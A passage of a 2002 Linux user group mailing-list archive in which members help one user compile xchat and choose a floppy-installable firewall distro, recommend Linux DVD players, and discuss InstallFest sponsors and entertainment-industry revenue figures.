<20020605174531.3597265f.snoogans@qwest.net> i still get the exact same error after doing that ... Any ideas why it would do that? On Wed, 5 Jun 2002 17:38:14 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > Okay after some searching i found out i didn't have it installed so > > installed the gettext package which had it in it. It is now in > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > GMSGFMT = PATH=../src:$$PATH > > MSGFMT = no > > > > i did ./configure again after i installed it. I really have no idea how i > > would change that to point to where it is or what most of that means. I > > would gather the MSGFMT = no part means it doesn't think i have it but im > > not sure. > > Just change the line from > MSGFMT = no > to > MSGFMT = /usr/bin/msgfmt > > Save the file, and do a 'make' > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:03:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 18:03:28 -0700 Subject: xchat compile References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> Message-ID: <3CFEB4E0.F0FDD38D@qwest.net> Did you try to delete the config.cache file and rerun ./configure? robert jorgenson wrote: > > i still get the exact same error after doing that ... Any ideas why it would do that? > > On Wed, 5 Jun 2002 17:38:14 -0700 > mondoshawan@tank.dyndns.org wrote: > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > Okay after some searching i found out i didn't have it installed so > > > installed the gettext package which had it in it. It is now in > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > GMSGFMT = PATH=../src:$$PATH > > > MSGFMT = no > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > would change that to point to where it is or what most of that means. I > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > not sure. > > > > Just change the line from > > MSGFMT = no > > to > > MSGFMT = /usr/bin/msgfmt > > > > Save the file, and do a 'make' > > > > -- > > Thomas "Mondoshawan" Tate > > mondoshawan@tank.dyndns.org > > http://tank.webhop.org > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:12:36 -0700 Subject: xchat compile In-Reply-To: <3CFEB4E0.F0FDD38D@qwest.net> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> <3CFEB4E0.F0FDD38D@qwest.net> Message-ID: <20020605181236.7d0a9bcd.snoogans@qwest.net> Thanks that worked perfectly, Unfortunately i got a new error after about a minute ... /usr/bin/ld: cannot find -lperl and then make exits, any ideas on that one? On Wed, 05 Jun 2002 18:03:28 -0700 "Kevin Brown" wrote: > Did you try to delete the config.cache file and rerun ./configure? > > robert jorgenson wrote: > > > > i still get the exact same error after doing that ... Any ideas why it would do that? > > > > On Wed, 5 Jun 2002 17:38:14 -0700 > > mondoshawan@tank.dyndns.org wrote: > > > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > > Okay after some searching i found out i didn't have it installed so > > > > installed the gettext package which had it in it. It is now in > > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > > > GMSGFMT = PATH=../src:$$PATH > > > > MSGFMT = no > > > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > > would change that to point to where it is or what most of that means. I > > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > > not sure. > > > > > > Just change the line from > > > MSGFMT = no > > > to > > > MSGFMT = /usr/bin/msgfmt > > > > > > Save the file, and do a 'make' > > > > > > -- > > > Thomas "Mondoshawan" Tate > > > mondoshawan@tank.dyndns.org > > > http://tank.webhop.org > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:21:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:21:13 -0700 Subject: xchat compile In-Reply-To: <20020605181236.7d0a9bcd.snoogans@qwest.net> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> <3CFEB4E0.F0FDD38D@qwest.net> <20020605181236.7d0a9bcd.snoogans@qwest.net> Message-ID: <20020605182113.14c49601.snoogans@qwest.net> After reading the ld man page i decided i needed to install the perl development files and everything orked just fine! First time i ever got a compile to work :) Thanks for all your help! On Wed, 5 Jun 2002 18:12:36 -0700 "robert jorgenson" wrote: > Thanks that worked perfectly, Unfortunately i got a new error after about a minute ... > > /usr/bin/ld: cannot find -lperl > > and then make exits, any ideas on that one? > > On Wed, 05 Jun 2002 18:03:28 -0700 > "Kevin Brown" wrote: > > > Did you try to delete the config.cache file and rerun ./configure? > > > > robert jorgenson wrote: > > > > > > i still get the exact same error after doing that ... Any ideas why it would do that? > > > > > > On Wed, 5 Jun 2002 17:38:14 -0700 > > > mondoshawan@tank.dyndns.org wrote: > > > > > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > > > Okay after some searching i found out i didn't have it installed so > > > > > installed the gettext package which had it in it. It is now in > > > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > > > > > GMSGFMT = PATH=../src:$$PATH > > > > > MSGFMT = no > > > > > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > > > would change that to point to where it is or what most of that means. I > > > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > > > not sure. > > > > > > > > Just change the line from > > > > MSGFMT = no > > > > to > > > > MSGFMT = /usr/bin/msgfmt > > > > > > > > Save the file, and do a 'make' > > > > > > > > -- > > > > Thomas "Mondoshawan" Tate > > > > mondoshawan@tank.dyndns.org > > > > http://tank.webhop.org > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:36:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:36:27 -0700 Subject: firewall Message-ID: <20020605183627.786d605b.snoogans@qwest.net> Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... Parents Wintendo Box / Internet--qwest gateway box--4 port hub--[ \ 8 port hub--My main box Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:45:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 18:45:46 -0700 Subject: firewall References: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <3CFEBECA.B30192E5@qwest.net> Take a look at some of these: http://freshmeat.net/search/?q=floppy+firewall§ion=projects robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:00:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Wed, 5 Jun 2002 19:00:13 -0700 Subject: Who are the sponsors? Message-ID: <200206051900.13291.dennisk@sahuaro.f2s.com> If someone will give me a list of "offical" sponsors to be included in the PR I'll add that tonight and post it back to the list. Dennis From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:03:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 5 Jun 2002 21:03:53 -0400 (EDT) Subject: Entertainment "Sector" - was: InstallFest Tips? In-Reply-To: Message-ID: On Wed, 5 Jun 2002, der.hans wrote: > $35 billion? industry vs. sector? > > A couple of films this year have made over $100 million in the opening > weekend. Spider Man has over $300 million in the .us thus far. > > Hell, film, tv, music, and sports all probably top $35 billion on their own. > Granted, there's a lot of cross-over because sports get a lot of the money > from tv, but I find it hard to believe that the 'entertainment sector' is > only $35 billion. You are rightly incredulous. This is excerpted from: http://bpdg.blogs.eff.org/archives/000008.html The census report I'm wagering that was used to generate this figure is here (Census through 2000 for Arts, Entertainment, and Recreation Services): http://www.census.gov/svsd/www/sas71-2.pdf Line 71 is arts, entertainment and recreation. Line 711 is probably where Cory Doctorow's number originates. 38 billion in 2000, and it has probably dropped since then. Spectator sports account for 17 of that 38. However, if you poke around a bit more you find that television, radio, movies, and music are actually not in entertainment. They are in Information Sector Services. http://www.census.gov/svsd/www/sas51-2.pdf Books: 25 billion Magazines: 39 billion Movies: 53 billion Broadcast TV: 38 billion Cable: 67 billion Recorded Music: 12 billion Radio: 15 billion Software: 88 billion IT Services: 76 billion (I don't have the will to wade through the manufacturing reports to invalidate the 600 billion number) But I digress. It's propaganda. It's not supposed to be true. Truth is what civilized, respectable humans use to communicate with each other. Propaganda is what the RIAA, MPAA, EFF, and FSF use to affect the political process. Successful lobbyists do not become successful by being civilized and respectable. Likewise they are not likely to blur the distinction between propaganda and truth. I suspect that this constant immersion in lies is what ultimately turns once honorable persons, who set out to serve and protect, into corrupt politicians. They play the game for so long that they forget that there once was an underlying truth for which they were fighting. Is this good? Is it fair? Is it right? Of course not. But to me, that is not sufficient reason to turn my back on the process and let the MPAA and RIAA take away my right to own and operate a general purpose computer running a Free operating system. ------------------------------------------------------------------- "This time around, everything not forbidden is mandatory." "...Congress is willing to butcher the $600 billion tech industry to feed the $35 billion entertainment sector..." http://www.eff.org/blogs/bpdg/ ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:12:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Wed, 5 Jun 2002 19:12:32 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <000001c20cff$9e63ce50$0401a8c0@minkland.com> Freesco at http://www.freesco.org. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of robert jorgenson Sent: Wednesday, June 05, 2002 6:36 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: firewall Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... Parents Wintendo Box / Internet--qwest gateway box--4 port hub--[ \ 8 port hub--My main box Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:52:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 19:52:11 -0700 (PDT) Subject: firewall In-Reply-To: <000001c20cff$9e63ce50$0401a8c0@minkland.com> Message-ID: <20020606025211.27125.qmail@web13908.mail.yahoo.com> Smoothwall at www.smoothwall.org --- Adrian Mink wrote: > Freesco at http://www.freesco.org. > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] > On Behalf Of robert > jorgenson > Sent: Wednesday, June 05, 2002 6:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: firewall > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its > got a floppy drive and a 2 gig HD(couldn't find > anything smaller), a > 3com NIC, a realtek NIC, 64 megs of RAM and i was > wondering what would > be a good small firewall distro that i could install > without a cdrom. > Right now my setup is like this ... > > Parents > Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port > hub--My main box > > Im thinking it would be best to put the firewall > infront of the first 4 > port hub but my parents are wierd and i doubt they > would let me do that, > so i will probably be putting it in front of my hub. > I really just want > something to keep unwanted things out of my box. > Plus i also want to set > up a web/ftp/email server sometime in the near > future but thats > soemthing else alltogether :) Any help is apreciated > thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't > post to the list quickly and you use Netscape to > write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:00:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 20:00:31 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060301.XAA32236@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:24:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 21:24:36 -0700 Subject: firewall In-Reply-To: <200206060301.XAA32236@hostinworld6.com> References: <20020605183627.786d605b.snoogans@qwest.net> <200206060301.XAA32236@hostinworld6.com> Message-ID: <20020605212436.5f796901.snoogans@qwest.net> From thier site it appears you need a 20MB cd iso image to install smoothwall ... am i missing something somewhere? On 05 Jun 2002 20:00:31 -0700 "Bryce C." wrote: > I've got a box nearly identical to that running smoothwall for my > network. I've actually got a 13Gb in it, (yes I know it's overkill but > it's for caching my little modem connection). It did have a floppy and > cdrom but I pulled those for other computers because it didn't need > them. Just the floppy drive was all that I needed for install w/network > option. Best router in my opinion it doesn't take forever to boot as > with floppies. Also, great user interface! (Especially once you edit > the files and remove the banners!) Just try it and you'll be amazed. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port hub--My main box > > > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:00:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 20:00:33 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060301.XAA32359@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:06:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Wed, 5 Jun 2002 20:06:56 -0700 Subject: DVD Player on Linux Message-ID: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Hi all, First time poster, after lurking for a couple of weeks. I've decided to install and tinker around with Redhat Linux 7.2 after working with Solaris machines for a couple of years. I was wondering if there was any recommendations for DVD player software on the linux platform. So far, I've tried Xine but still couldn't play encrypted DVDs (which is all of my DVD library, unfortunately). Any of you have any experience on this? Yicheng From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:58:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 19:58:50 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060259.WAA30877@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:53:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Wed, 5 Jun 2002 21:53:26 -0700 (MST) Subject: DVD Player on Linux In-Reply-To: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I've had great success with ogle, xine-dvdnav, and mplayer. Ogle so far seems to be the best all around player, but if you're cpu limited, mplayer might work a bit better for you. --Nick On Wed, 5 Jun 2002, Yicheng Li wrote: > Hi all, > > First time poster, after lurking for a couple of weeks. I've decided to > install and tinker around with Redhat Linux 7.2 after working with Solaris > machines for a couple of years. > > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? > > Yicheng > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE8/urJv+hjYTGg7s4RAhecAJwIC/6tmuOUwR5PbJdWjHYJgnThOQCghQmZ qN7B1057SPPkA9BRPkEGV7U= =xPf3 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:54:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 21:54:09 -0700 Subject: DVD Player on Linux References: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: <3CFEEAF1.14984AA4@qwest.net> Ogle DVD software: http://www.dtek.chalmers.se/groups/dvd/index.html Yicheng Li wrote: > > Hi all, > > First time poster, after lurking for a couple of weeks. I've decided to > install and tinker around with Redhat Linux 7.2 after working with Solaris > machines for a couple of years. > > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? > > Yicheng > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:56:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 00:56:41 -0400 Subject: Who are the sponsors? Message-ID: The "official" sponsor list so far is on the sponsors page at the install fest web site. I have many more in the works but no firm commitments from them yet. I have called/emailed them asking for commitments or they will miss out on being listed in published materials. I will let you know when then come in. Alan On Wed, 5 Jun 2002 19:00:13 -0700 Dennis Kibbe wrote: If someone will give me a list of "offical" sponsors to be included in the PR I'll add that tonight and post it back to the list. Dennis ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:28:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 5 Jun 2002 22:28:23 -0700 Subject: firewall In-Reply-To: <3CFEBECA.B30192E5@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> <3CFEBECA.B30192E5@qwest.net> Message-ID: <200206052228.24139.lists@chevy-lemonade.com> I use e-smith from Mitel in just such a situation. You do need to at least temporarly put in a CD for the install though and have PCI NICs. On Wednesday 05 June 2002 06:45 pm, Kevin Brown wrote: > Take a look at some of these: > > http://freshmeat.net/search/?q=floppy+firewall§ion=projects > > robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got > > a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com > > NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a > > good small firewall distro that i could install without a cdrom. Right > > now my setup is like this ... > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port hub--My main box > > > > Im thinking it would be best to put the firewall infront of the 